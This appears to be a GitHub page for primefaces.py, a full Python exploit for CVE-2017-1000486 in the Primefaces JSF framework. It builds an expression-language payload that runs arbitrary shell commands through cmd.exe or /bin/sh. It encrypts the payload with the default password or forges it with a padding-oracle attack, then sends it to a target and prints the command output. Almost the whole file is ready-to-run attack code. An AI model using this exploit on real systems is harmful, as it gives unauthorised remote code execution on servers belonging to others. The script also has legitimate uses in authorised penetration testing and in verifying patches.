-
Notifications
You must be signed in to change notification settings - Fork 25
/
primefaces.py
196 lines (173 loc) · 9.59 KB
/
primefaces.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
from paddingoracle import BadPaddingException, PaddingOracle
import requests
from Crypto.Hash import MD5
from Crypto.Cipher import DES
import base64
import socket
import time
import logging
import argparse
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
requests.packages.urllib3.disable_warnings()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
payload = base64.b64encode(data)
while 1:
try:
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload}
response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...', self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# An HTTP 500 error was returned, likely due to incorrect padding
if response.status_code == 500:
logging.exception('No padding exception raised on %r', payload)
return
raise BadPaddingException
payloadEL = '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}'
payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL += '${session.getAttribute("scriptengine").eval('
payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");'
payloadEL += 'var proc = null;'
payloadEL += 'os.toLowerCase().contains(\\"win\\")? '
payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()'
payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();'
payloadEL += 'var is = proc.getInputStream();'
payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";'
payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}';
payloadELPOC = '${facesContext.getExternalContext().setResponseHeader("TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC","POC_EL_INJECTION")}'
def get_args():
parser = argparse.ArgumentParser( prog="primefaces.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.
''')
parser.add_argument("target", help="Target Host")
parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces")
parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)")
parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)")
parser.add_argument("-poc", "--poc", action='store_true', help="Use Poc Payload")
parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)")
parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)")
parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)")
parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ")
args = parser.parse_args()
return args
"""Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces"""
def encrypt(data, password):
# Padding clear-text using PKCS5 algo
padding = 8 - len(data) % 8
data += chr(padding) * padding
# IV and "iterations count" extracted from primefaces sourcecode
iterations = 19
iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
hasher = MD5.new()
hasher.update(password.encode())
hasher.update(iv)
result = hasher.digest()
for i in range(1, iterations):
hasher = MD5.new()
hasher.update(result)
result = hasher.digest()
cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16])
# BUGFIX: adding .encode() on string to pass a bytearray.
# This modification is needed to work with latest version of pycryptodome
encrypted = cipher.encrypt(data.encode())
print ("[*] Generated Encrypted Payload: " + str(base64.b64encode(encrypted).decode()))
return str(base64.b64encode(encrypted).decode())
def request_to_string(req):
return '{method} {url} HTTP/1.1\n{headers}\n\n{body}'.format(
method=req.method,
url=req.url,
headers='\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
body=req.body,
)
def response_to_string(res):
return 'HTTP/1.1 {status_code}\n{headers}\n\n{body}'.format(
status_code=res.status_code,
headers='\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
body=res.content.decode(),
)
def exploit(target, path, cmd, password, proxy, cookie, payload="", poc_payload=False):
requests.packages.urllib3.disable_warnings()
proxies = {
'http': proxy,
'https': proxy
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*',
'Cookie': cookie
}
if payload == "":
if poc_payload:
payload = encrypt(payloadELPOC, password)
else:
payload = encrypt(payloadEL, password)
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd}
print ("[*] Attempting to execute: %s" % cmd)
r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers)
print ("\n\n%s\n\n" % request_to_string(r.request))
if r.text:
print ("[+] Exploit Result:\n\n%s\n" % response_to_string(r))
if (poc_payload):
if "TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC" in response_to_string(r):
print ("[+] BANG!!! :D - Target IS VULNERABLE!!!\n")
else:
print ("[-] Target Probably NOT VULNERABLE :-(\n")
else:
print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.\n\n%s" % response_to_string(r))
def exploit_paddingoracle(target, path, cmd, password, proxy, cookie):
padbuster = PadBuster()
padbuster.proxies = {
'http': proxy,
'https': proxy
}
padbuster.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*',
'Cookie': cookie
}
padbuster.target = target+path
iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv)
print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload))
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd}
print ("[*] Attempting to execute: %s" % cmd)
r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers)
print(r.headers)
if r.text:
print ("[+] Exploit Result:\n\n%s" % response_to_string(r))
else:
print ("[-] Response body empty... Target might not be vulnerable... :-(\n\n%s" % response_to_string(r))
def main():
print ('')
print ('========================================================================')
print ('| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |')
print ('| by pimps |')
print ('========================================================================\n')
args = get_args()
if (args.oracle.strip() == "0"):
if (args.payload.strip() == ""):
print ("[*] Generating payload using default Password...")
else:
print ("[*] Executing the exploit using a given Payload...")
exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip(), args.poc)
else:
print ("[*] Generating payload with Padding Oracle Attack... (SLOW)")
exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip())
if __name__ == '__main__':
main()